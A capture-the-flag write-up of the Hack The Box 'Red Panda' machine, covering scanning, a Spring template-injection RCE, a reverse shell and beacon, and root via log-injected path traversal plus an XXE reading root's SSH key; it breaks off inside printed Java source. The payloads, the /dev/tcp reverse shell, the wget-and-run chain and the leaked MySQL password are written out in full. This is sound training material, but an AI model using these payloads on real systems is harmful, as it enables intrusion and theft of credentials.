Hack The Box - Red Panda Walk through and Write Up

It's been a long time since I wondered over to hack the box, and boy did they ever improve the site! They've done an amazing job at updating the experience over there, and it shows from the user engagement on the boxes. Seeing the improvement there, I just had to swing over and do a few rooms. I started with an Easy rated one so I could get my VPN setup and make sure I understand the platform. I easily captured the user flag, but if you read my Write Up you'll see I struggled with getting root on this box for the better part of a day.

Walk Through

Streamlined quick guide through the box.

Enumeration

  1. rustscan -a $TARGET, discover web server on port 8080
  2. Load Burpsuite and start exploring the application manually.
  3. Tinker with the /search endpoint
  4. Find the SSTI Vulnerability

Exploit

  1. Fire up Sliver
  2. Generate a beacon implant generate beacon --os linux --mtls $YOUR_IP:8888 --save ~/scripts/post/payloads/linux-beacon-mtls
  3. Start an MTLS Listener in sliver console: mtls
  4. Host the beacon payload via python -m http.server

Plain Reverse Shell

  1. Create a script locally containing a reverse shell command
#!/bin/bash
bash -c "bash -i >& /dev/tcp/$YOUR_IP/8080 0>&1"
  1. Host the script via python -m http.server
  2. Start a listener on the tcp port: nc -nlvp 8080

Exploit

The RCE we found does not allow any command chaining, so you'll have to execute these in sequence:

# Download Payload
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('wget $YOUR_IP:8000/payload').getInputStream())}
# Make it executable
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('chmod +x payload').getInputStream())}
# Execute the payload (Can leave out nohup but it is present so why not)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('nohup ./payload &').getInputStream())}

User Flag

  1. You can upload and run linpeas.sh but it doesn't do a ton for us in this case.
  2. Notice there is a home directory you can access, the user flag is there.

Root Flag

  1. Notice there are .java source files on the system.
  2. Find them all find / -name *.java
  3. Carefully explore the Java projects
  4. Pay close attention to the logging mechanism
  5. Pay close attention to the XML Update mechanism for /credits/*.xml

Reversing

Spoiler: This is the exploitation path. If you wish you complete this on your own terms, turn back now! Just read the Java source code and documentation and you'll come up with it! Inspect logparser/App.java. Here is pseudo code

  • Read /opt/panda_search/redpanda.log
  • For each line:
    • If the log line does not contain '.jpg' exit
    • extract fields from line by doing .split("||") and pulling index 0,1,2,3
    • Use extracted URI to load an image at "/opt/panda_search/src/main/resources/static" + uri;
    • Extract Artist tag from loaded image
    • Load XML document at /credits/ + artist + "_creds.xml"
    • Extract image.uri from document, if it matches given URI, continue
    • Increment totalviews in matching image tag, update the XML document If we can trick this into loading our own image and xml document, we can use ENTITY tags to load arbitrary files from the system.
Control Image

Here is the code for parsing a log line:

public static Map parseLog(String line) {
    String[] strings = line.split("\\|\\|");
    Map map = new HashMap<>();
    map.put("status_code", Integer.parseInt(strings[0]));
    map.put("ip", strings[1]);
    map.put("user_agent", strings[2]);
    map.put("uri", strings[3]);
    return map;
}

If we can set the value of URI, we can supply agent||overwrite/the/uri and set the value of the URI as we please. When the logs are written, user_agent is set directly from the User-Agent header in the request:

        String UserAgent = request.getHeader("User-Agent");
        ...
        logfile.write(responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri + "\n");

So a simple curl request to control where an image is loaded is as follows:

curl -A "||../../../../../../tmp/image.jpg" $TARGET:8000
Control XML File

The XML File is loaded based on the Artist EXIF Tag in the image. We control the image, so we can set the Artist Tag.

            String artist = getArtist(parsed_data.get("uri").toString());
            System.out.println("Artist: " + artist);
            String xmlPath = "/credits/" + artist + "_creds.xml";

To load an xml File in tmp, we can do:

exiftool -artist='../tmp/yourimage' yourimage.jpg

Then we can write an XML file to /tmp/yourimage_creds.xml and it will get loaded via this image.

Craft malicious XML

Now we just need an XML file that will give us system access, the best case is we can read root's private ssh key, so we'll use an ENTITY tag to load it.

<!DOCTYPE foo [<!ENTITY file SYSTEM "file:////root/.ssh/id_rsa"> ]>
<credits>
  <author>yourimage</author>
  <image>
    <data>&file;</data>
    <uri>/../../../../../../tmp/yourimage.jpg</uri>
    <views>0</views>
  </image>
  <totalviews>2</totalviews>
</credits>
Exploit
  1. Write your jpg to /tmp/yourimage.jpg
  2. Write your XML file to /tmp/yourimage_creds.xml
  3. Execute this curl command:
curl -A "||../../../../../../tmp/image.jpg" $TARGET:8000
  1. Wait for the log file to be wiped by the start of credits processing
  2. Read the output cat /tmp/yourimage_creds.xml
Root
  1. Place the ssh key onto your system `echo '$KEY' > ~/.ssh/key
  2. cd ~/.ssh && chmod 600 key
  3. ssh root@$TARGET -i ./key GG!

Write Up

Buckle up, this is a long one...

Rustscan

rustscan -a $TARGET -- -A -sC
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 1048476'.
Open 10.10.11.170:22
Open 10.10.11.170:8080
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -A -sC" on ip 10.10.11.170
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.80 ( https://nmap.org ) at 2022-11-18 14:04 UTC
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:04
Completed NSE at 14:04, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:04
Completed NSE at 14:04, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:04
Completed NSE at 14:04, 0.00s elapsed
Initiating Ping Scan at 14:04
Scanning 10.10.11.170 [2 ports]
Completed Ping Scan at 14:04, 3.00s elapsed (1 total hosts)
Nmap scan report for 10.10.11.170 [host down, received no-response]
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:04
Completed NSE at 14:04, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:04
Completed NSE at 14:04, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:04
Completed NSE at 14:04, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.43 seconds

Dirb

dirb http://$TARGET:8080
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Nov 18 09:04:08 2022
URL_BASE: http://10.10.11.170:8080/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.11.170:8080/ ----
+ http://10.10.11.170:8080/error (CODE:500|SIZE:86)
+ http://10.10.11.170:8080/search (CODE:405|SIZE:117)
+ http://10.10.11.170:8080/stats (CODE:200|SIZE:987)
-----------------
END_TIME: Fri Nov 18 09:08:06 2022
DOWNLOADED: 4612 - FOUND: 3

Nikto

nikto --host $TARGET --port 8080
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.11.170
+ Target Hostname:    10.10.11.170
+ Target Port:        8080
+ Start Time:         2022-11-18 09:04:17 (GMT-5)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Uncommon header 'content-disposition' found, with contents: inline;filename=f.txt
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS
+ OSVDB-397: HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server.
+ OSVDB-5646: HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server.
+ OSVDB-3092: /stats/: This might be interesting...
+ 7891 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2022-11-18 09:15:03 (GMT-5) (646 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Exploration

I fired up Burp and got started. The Web server renders this on Index: 1 This is the search form:

<div class="wrapper" >
    <form class="searchForm" action="/search" method="POST">
    <div class="wrap">
      <div class="search">
        <input type="text" name="name" placeholder="Search for a red panda">
        <button type="submit" class="searchButton">
          <i class="fa fa-search"></i>
        </button>
      </div>
    </div>
    </form>
    </div>
</div>

/Error contains a minor information disclosure, perhaps we can modify the rendered content there somehow. 2 /stats Contains a leaderboard or something like that 3 With a page for each listed author, and the ability to 'export table' 4 I'm willing to bet one of these URL parameters, or the table export is our hole. Clicking export returns the following XML document:

<?xml version="1.0" encoding="UTF-8"?>
<credits>
  <author>damian</author>
  <image>
    <uri>/img/angy.jpg</uri>
    <views>0</views>
  </image>
  <image>
    <uri>/img/shy.jpg</uri>
    <views>2</views>
  </image>
  <image>
    <uri>/img/crafty.jpg</uri>
    <views>0</views>
  </image>
  <image>
    <uri>/img/peter.jpg</uri>
    <views>0</views>
  </image>
  <totalviews>2</totalviews>
</credits>

So, we have an .xml endpoint which takes arguments and outputs an XML document. It's likely taking the URL Parameters and using it to look something up in a database, so let's haul out SQLMap.

 sqlmap -u http://10.10.11.170:8080/export.xml?author=damian
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.6.11#stable}
|_ -| . ["]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 09:23:34 /2022-11-18/
[09:23:34] [INFO] testing connection to the target URL
[09:23:34] [INFO] checking if the target is protected by some kind of WAF/IPS
[09:23:34] [INFO] testing if the target URL content is stable
[09:23:34] [INFO] target URL content is stable
[09:23:34] [INFO] testing if GET parameter 'author' is dynamic
[09:23:35] [INFO] GET parameter 'author' appears to be dynamic
[09:23:35] [WARNING] heuristic (basic) test shows that GET parameter 'author' might not be injectable
[09:23:35] [INFO] testing for SQL injection on GET parameter 'author'
[09:23:35] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:23:36] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[09:23:36] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[09:23:37] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[09:23:37] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[09:23:38] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[09:23:38] [INFO] testing 'Generic inline queries'
[09:23:38] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[09:23:38] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[09:23:39] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[09:23:39] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[09:23:40] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[09:23:40] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[09:23:41] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] y
[09:23:45] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[09:23:45] [WARNING] GET parameter 'author' does not seem to be injectable
[09:23:45] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
[*] ending @ 09:23:45 /2022-11-18/

No dice there, let's try the search form:

 sqlmap -u http://10.10.11.170:8080/search --data="name=shy"
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.6.11#stable}
|_ -| . [.]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 09:28:18 /2022-11-18/
[09:28:18] [INFO] testing connection to the target URL
[09:28:18] [INFO] checking if the target is protected by some kind of WAF/IPS
[09:28:18] [INFO] testing if the target URL content is stable
[09:28:19] [INFO] target URL content is stable
[09:28:19] [INFO] testing if POST parameter 'name' is dynamic
[09:28:19] [INFO] POST parameter 'name' appears to be dynamic
[09:28:19] [WARNING] heuristic (basic) test shows that POST parameter 'name' might not be injectable
[09:28:19] [INFO] testing for SQL injection on POST parameter 'name'
[09:28:19] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:28:19] [WARNING] reflective value(s) found and filtering out
[09:28:20] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[09:28:20] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[09:28:20] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[09:28:21] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[09:28:21] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[09:28:21] [INFO] testing 'Generic inline queries'
[09:28:21] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[09:28:22] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[09:28:22] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[09:28:22] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[09:28:23] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[09:28:23] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[09:28:24] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] n
[09:28:29] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[09:28:33] [WARNING] POST parameter 'name' does not seem to be injectable
[09:28:33] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
[09:28:33] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 5 times
[*] ending @ 09:28:33 /2022-11-18/

Nothing there either... I did skip the SSH port, so I fired off some enumeration of that... but it turned up nothing. After playing with the forms and URL params for a while, I didn't turn up a whole lot manually. So, I went back and gathered some more information and noticed it's a spring boot application, which means the runtime is Java. I know a ton of programming languages, and somehow I've avoided Java all this time even though it's very widely used. Perhaps though we can use this to guide our injection attempts? I grabbed a list of common Java web vulnerabilities, which to absolutely no surprise are the same as every other language. We have multiple locations where user input is rendered on the page almost directly so perhaps there is a template injection of sorts? Using Hacktricks I came up with a few payloads to try:

+----------+--------------------------------+
| 1 COLUMN |            2 COLUMN            |
+----------+--------------------------------+
| input    |  output                        |
|          |                                |
| {{7*7}}  |  {{7*7}}                       |
|          |                                |
|  ${7*7}  |   Error occured: banned charac |
|          | ters                           |
|          |                                |
|          |   Error occured: banned charac |
|          | ters                           |
|          |                                |
| ${{7*7}} |   Error occured: banned charac |
|          | ters                           |
|          |                                |
| #{7*7}   |  ??49_en_US??                  |
+----------+--------------------------------+

There we go, #{7*7} is executing Java code for us! Now... I think Spring is the template engine because it's Spring boot? *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())} Outputs: uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk) Good good...

Post Exploitation

Alright we've found an RCE, now let's abuse it using the methods I've been developing in the Post Exploitation Journey series. I get everything setup, and realize my stager is not working! I'll likely swing back and debug this and make it more robust in the future... But for now I just uploaded the implant directly. Once connected, my listener executes linpeas.sh and writes the result to loot database in Sliver. Here's interesting results:

  • There is an sqlite Database & mysql DB
  • Vulnerable to CVE-2021-3560 Polkit PE
  • Potentially vulnerable to CVE-2022-2588 I could go spamming CVE's but I figure I'd start with SQL first. The database must be interacted with through the Java app, so lets go inspect that source code.
find / -name *.java
/opt/panda_search/.mvn/wrapper/MavenWrapperDownloader.java
/opt/panda_search/src/test/java/com/panda_search/htb/panda_search/PandaSearchApplicationTests.java
/opt/panda_search/src/main/java/com/panda_search/htb/panda_search/RequestInterceptor.java
/opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java
/opt/panda_search/src/main/java/com/panda_search/htb/panda_search/PandaSearchApplication.java
/opt/credit-score/LogParser/final/.mvn/wrapper/MavenWrapperDownloader.java
/opt/credit-score/LogParser/final/src/test/java/com/logparser/AppTest.java
/opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java
find: ‘/tmp/systemd-private-b0baefc2c50d4ccea808a4c27f4fe871-systemd-logind.service-ponsTg’: Permission denied
...

MainController.java seems like a good place to start:

MainController.java  PandaSearchApplication.java  RequestInterceptor.java
<h/src/main/java/com/panda_search/htb/panda_search$ ls
MainController.java  PandaSearchApplication.java  RequestInterceptor.java
<h/src/main/java/com/panda_search/htb/panda_search$ pwd
/opt/panda_search/src/main/java/com/panda_search/htb/panda_search
<h/src/main/java/com/panda_search/htb/panda_search$ cat MainController.java
package com.panda_search.htb.panda_search;
import java.util.ArrayList;
import java.io.IOException;
import java.sql.*;
import java.util.List;
import java.util.ArrayList;
import java.io.File;
import java.io.InputStream;
import java.io.FileInputStream;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.http.MediaType;
import org.apache.commons.io.IOUtils;
import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
import org.jdom2.output.Format;
import org.jdom2.output.XMLOutputter;
import org.jdom2.*;
@Controller
public class MainController {
  @GetMapping("/stats")
        public ModelAndView stats(@RequestParam(name="author",required=false) String author, Model model) throws JDOMException, IOException{
                SAXBuilder saxBuilder = new SAXBuilder();
                if(author == null)
                author = "N/A";
                author = author.strip();
                System.out.println('"' + author + '"');
                if(author.equals("woodenk") || author.equals("damian"))
                {
                        String path = "/credits/" + author + "_creds.xml";
                        File fd = new File(path);
                        Document doc = saxBuilder.build(fd);
                        Element rootElement = doc.getRootElement();
                        String totalviews = rootElement.getChildText("totalviews");
                        List<Element> images = rootElement.getChildren("image");
                        for(Element image: images)
                                System.out.println(image.getChildText("uri"));
                        model.addAttribute("noAuthor", false);
                        model.addAttribute("author", author);
                        model.addAttribute("totalviews", totalviews);
                        model.addAttribute("images", images);
                        return new ModelAndView("stats.html");
                }
                else
                {
                        model.addAttribute("noAuthor", true);
                        return new ModelAndView("stats.html");
                }
        }
  @GetMapping(value="/export.xml", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)
        public @ResponseBody byte[] exportXML(@RequestParam(name="author", defaultValue="err") String author) throws IOException {
                System.out.println("Exporting xml of: " + author);
                if(author.equals("woodenk") || author.equals("damian"))
                {
                        InputStream in = new FileInputStream("/credits/" + author + "_creds.xml");
                        System.out.println(in);
                        return IOUtils.toByteArray(in);
                }
                else
                {
                        return IOUtils.toByteArray("Error, incorrect paramenter 'author'\n\r");
                }
        }
  @PostMapping("/search")
        public ModelAndView search(@RequestParam("name") String name, Model model) {
        if(name.isEmpty())
        {
                name = "Greg";
        }
        String query = filter(name);
        ArrayList pandas = searchPanda(query);
        System.out.println("\n\""+query+"\"\n");
        model.addAttribute("query", query);
        model.addAttribute("pandas", pandas);
        model.addAttribute("n", pandas.size());
        return new ModelAndView("search.html");
        }
  public String filter(String arg) {
        String[] no_no_words = {"%", "_","$", "~", };
        for (String word : no_no_words) {
            if(arg.contains(word)){
                return "Error occured: banned characters";
            }
        }
        return arg;
    }
    public ArrayList searchPanda(String query) {
        Connection conn = null;
        PreparedStatement stmt = null;
        ArrayList<ArrayList> pandas = new ArrayList();
        try {
            Class.forName("com.mysql.cj.jdbc.Driver");
            conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");
            stmt = conn.prepareStatement("SELECT name, bio, imgloc, author FROM pandas WHERE name LIKE ?");
            stmt.setString(1, "%" + query + "%");
            ResultSet rs = stmt.executeQuery();
            while(rs.next()){
                ArrayList<String> panda = new ArrayList<String>();
                panda.add(rs.getString("name"));
                panda.add(rs.getString("bio"));
                panda.add(rs.getString("imgloc"));
                panda.add(rs.getString("author"));
                pandas.add(panda);
            }
        }catch(Exception e){ System.out.println(e);}
        return pandas;
    }
}

Okay there we go, username/password for mysql! Let's try logging in there...

mysql -u woodenk -p
...
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| red_panda          |
+--------------------+
2 rows in set (0.01 sec)
mysql> use red_panda;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+---------------------+
| Tables_in_red_panda |
+---------------------+
| pandas              |
+---------------------+
1 row in set (0.01 sec)
mysql> select * from pandas;
+----------+------------------------------------------------------------------------------------+------------------+---------+
| name     | bio                                                                                | imgloc           | author  |
+----------+------------------------------------------------------------------------------------+------------------+---------+
| Smooch   | Smooch likes giving kisses and hugs to everyone!                                   | img/smooch.jpg   | woodenk |
| Hungy    | Hungy is always hungry so he is eating all the bamboo in the world!                | img/hungy.jpg    | woodenk |
| Greg     | Greg is a hacker. Watch out for his injection attacks!                             | img/greg.jpg     | woodenk |
| Mr Puffy | Mr Puffy is the fluffiest red panda to have ever lived.                            | img/mr_puffy.jpg | damian  |
| Florida  | Florida panda is the evil twin of Greg. Watch out for him!                         | img/florida.jpg  | woodenk |
| Lazy     | Lazy is always very sleepy so he likes to lay around all day and do nothing.       | img/lazy.jpg     | woodenk |
| Shy      | Shy is as his name suggest very shy. But he likes to cuddle when he feels like it. | img/shy.jpg      | damian  |
| Smiley   | Smiley is always very happy. She loves to look at beautiful people like you !      | img/smiley.jpg   | woodenk |
| Angy     | Angy is always very grumpy. He sticks out his tongue to everyone.                  | img/angy.jpg     | damian  |
| Peter    | Peter loves to climb. We think he was a spider in his previous life.               | img/peter.jpg    | damian  |
| Crafty   | Crafty is always busy creating art. They will become a very famous red panda!      | img/crafty.jpg   | damian  |
+----------+------------------------------------------------------------------------------------+------------------+---------+
11 rows in set (0.00 sec)
mysql>

Okay that's a deadend, besides us now having a password... I wonder if we have Sudo?

$ sudo -l
[sudo] password for woodenk:
Sorry, user woodenk may not run sudo on redpanda.

No dice. Hmm... Well, this is running as root:

root         865  0.0  0.0   2608   532 ?        Ss   16:57   0:00 /bin/sh -c sudo -u woodenk -g logs java -jar /opt/panda_search/target/panda_search-0.0.1-SNAPSHOT.jar   
root         866  0.0  0.2   9420  4568 ?        S    16:57   0:00 sudo -u woodenk -g logs java -jar /opt/panda_search/target/panda_search-0.0.1-SNAPSHOT.jar

Hmmm, looking back through linpeas.sh carefull I explored a few routes:

  • Writable gpg-agent socket
  • tmux session at /tmp/tmux-1000 Oh boy this is TOUGH! I can't find any holes on the system through standard methods, so it makes sense to focus on the user-created portion, the Java app. There are some things owned and executing as root so there must be something we can abuse here. Taking some time to more carefully enumerate the Java project directory:
find /opt/panda_search
.
./target
./target/generated-sources
./target/generated-sources/annotations
./target/test-classes
./target/test-classes/com
./target/test-classes/com/panda_search
./target/test-classes/com/panda_search/htb
./target/test-classes/com/panda_search/htb/panda_search
./target/test-classes/com/panda_search/htb/panda_search/PandaSearchApplicationTests.class
./target/surefire-reports
./target/surefire-reports/2022-06-20T12-09-29_564-jvmRun1.dumpstream
./target/surefire-reports/2022-06-14T12-12-05_160-jvmRun1.dump
./target/surefire-reports/2022-06-20T12-09-29_564-jvmRun1.dump
./target/surefire-reports/TEST-com.panda_search.htb.panda_search.PandaSearchApplicationTests.xml
./target/surefire-reports/com.panda_search.htb.panda_search.PandaSearchApplicationTests.txt
./target/surefire-reports/2022-06-20T14-05-35_043-jvmRun1.dump
./target/surefire-reports/2022-06-20T12-10-36_397-jvmRun1.dump
./target/panda.css.map
./target/panda_search-0.0.1-SNAPSHOT.jar
./target/maven-status
./target/maven-status/maven-compiler-plugin
./target/maven-status/maven-compiler-plugin/compile
./target/maven-status/maven-compiler-plugin/compile/default-compile
./target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst
./target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst
./target/maven-status/maven-compiler-plugin/testCompile
./target/maven-status/maven-compiler-plugin/testCompile/default-testCompile
./target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/inputFiles.lst
./target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/createdFiles.lst
./target/classes
./target/classes/application.properties
./target/classes/static
./target/classes/static/css
./target/classes/static/css/.main.css.swp
./target/classes/static/css/panda.css
./target/classes/static/css/main.css
./target/classes/static/css/search.css
./target/classes/static/css/stats.css
./target/classes/static/img
./target/classes/static/img/greg.jpg
./target/classes/static/img/florida.jpg
./target/classes/static/img/mr_puffy.jpg
./target/classes/static/img/peter.jpg
./target/classes/static/img/angy.jpg
./target/classes/static/img/smooch.jpg
./target/classes/static/img/crafty.jpg
./target/classes/static/img/smiley.jpg
./target/classes/static/img/shy.jpg
./target/classes/static/img/hungy.jpg
./target/classes/static/img/lazy.jpg
./target/classes/com
./target/classes/com/panda_search
./target/classes/com/panda_search/htb
./target/classes/com/panda_search/htb/panda_search
./target/classes/com/panda_search/htb/panda_search/SqlController.class
./target/classes/com/panda_search/htb/panda_search/RequestInterceptor.class
./target/classes/com/panda_search/htb/panda_search/MainController.class
./target/classes/com/panda_search/htb/panda_search/PandaSearchApplication.class
./target/classes/templates
./target/classes/templates/index.html
./target/classes/templates/.stats.html.swp
./target/classes/templates/.search.html.swp
./target/classes/templates/search.html
./target/classes/templates/stats.html
./target/maven-archiver
./target/maven-archiver/pom.properties
./target/generated-test-sources
./target/generated-test-sources/test-annotations
./target/panda_search-0.0.1-SNAPSHOT.jar.original
./.mvn
./.mvn/wrapper
./.mvn/wrapper/maven-wrapper.jar
./.mvn/wrapper/maven-wrapper.properties
./.mvn/wrapper/MavenWrapperDownloader.java
./mvnw.cmd
./pom.xml
./mvnw
./redpanda.log
./src
./src/test
./src/test/java
./src/test/java/com
./src/test/java/com/panda_search
./src/test/java/com/panda_search/htb
./src/test/java/com/panda_search/htb/panda_search
./src/test/java/com/panda_search/htb/panda_search/PandaSearchApplicationTests.java
./src/main
./src/main/resources
./src/main/resources/application.properties
./src/main/resources/static
./src/main/resources/static/css
./src/main/resources/static/css/panda.css
./src/main/resources/static/css/main.css
./src/main/resources/static/css/search.css
./src/main/resources/static/css/stats.css
./src/main/resources/static/.DS_Store
./src/main/resources/static/img
./src/main/resources/static/img/greg.jpg
./src/main/resources/static/img/florida.jpg
./src/main/resources/static/img/mr_puffy.jpg
./src/main/resources/static/img/peter.jpg
./src/main/resources/static/img/angy.jpg
./src/main/resources/static/img/.DS_Store
./src/main/resources/static/img/smooch.jpg
./src/main/resources/static/img/crafty.jpg
./src/main/resources/static/img/smiley.jpg
./src/main/resources/static/img/shy.jpg
./src/main/resources/static/img/hungy.jpg
./src/main/resources/static/img/lazy.jpg
./src/main/resources/.DS_Store
./src/main/resources/templates
./src/main/resources/templates/index.html
./src/main/resources/templates/search.html
./src/main/resources/templates/.DS_Store
./src/main/resources/templates/stats.html
./src/main/css
./src/main/css/panda.css
./src/main/sass
./src/main/sass/panda.scss
./src/main/.DS_Store
./src/main/java
./src/main/java/com
./src/main/java/com/panda_search
./src/main/java/com/panda_search/htb
./src/main/java/com/panda_search/htb/panda_search
./src/main/java/com/panda_search/htb/panda_search/RequestInterceptor.java
./src/main/java/com/panda_search/htb/panda_search/MainController.java
./src/main/java/com/panda_search/htb/panda_search/PandaSearchApplication.java

PandaSearchApplication.java:

package com.panda_search.htb.panda_search;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.stereotype.Component;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
@SpringBootApplication
public class PandaSearchApplication extends WebMvcConfigurerAdapter{
        @Override
        public void addInterceptors (InterceptorRegistry registry) {
                registry.addInterceptor(new RequestInterceptor());
        }
        public static void main(String[] args) {
                SpringApplication.run(PandaSearchApplication.class, args);
        }
}

RequestInterceptor.java:

package com.panda_search.htb.panda_search;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedWriter;
import java.io.FileWriter;
import javax.servlet.http.HttpServletRequest;
import org.apache.catalina.User;
import org.springframework.web.servlet.ModelAndView;
public class RequestInterceptor extends HandlerInterceptorAdapter {
    @Override
    public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
